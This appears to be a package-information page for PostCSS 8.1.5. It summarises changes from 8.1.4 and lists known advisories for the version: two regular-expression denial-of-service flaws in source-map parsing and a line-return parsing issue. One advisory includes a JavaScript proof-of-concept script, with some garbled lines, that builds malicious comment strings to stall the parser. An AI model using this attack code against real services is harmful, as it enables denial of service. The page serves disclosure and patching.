PostCSS version 8.1.5 is a minor update to the popular JavaScript tool for transforming CSS with plugins, building upon the foundation laid by version 8.1.4. Both versions offer the core functionality of PostCSS, enabling developers to automate tedious CSS tasks, catch errors, and implement future CSS features. The primary difference lies in the updated dependency on nanoid, which increments from version 3.1.15 to 3.1.16. While seemingly small, this dependency update potentially brings performance improvements or bug fixes within the nanoid library itself. The unpackedSize also sees a slight increase from 197041 to 197158, which could be attributed to the updated dependency or minimal adjustments to the core PostCSS code. For developers, migrating from 8.1.4 to 8.1.5 should be seamless as the core API remains consistent, ensuring backward compatibility. Both versions are licensed under MIT, fostering open-source usage. To know more about the newest features and advantages it is highly recommended to check the official github repository. PostCSS continues to be a valuable asset for front-end developers seeking to streamline their CSS workflow and enhance the maintainability of their stylesheets. Its plugin ecosystem allows for extensive customization, addressing a wide range of CSS-related challenges.
All the vulnerabilities related to the version 8.1.5 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.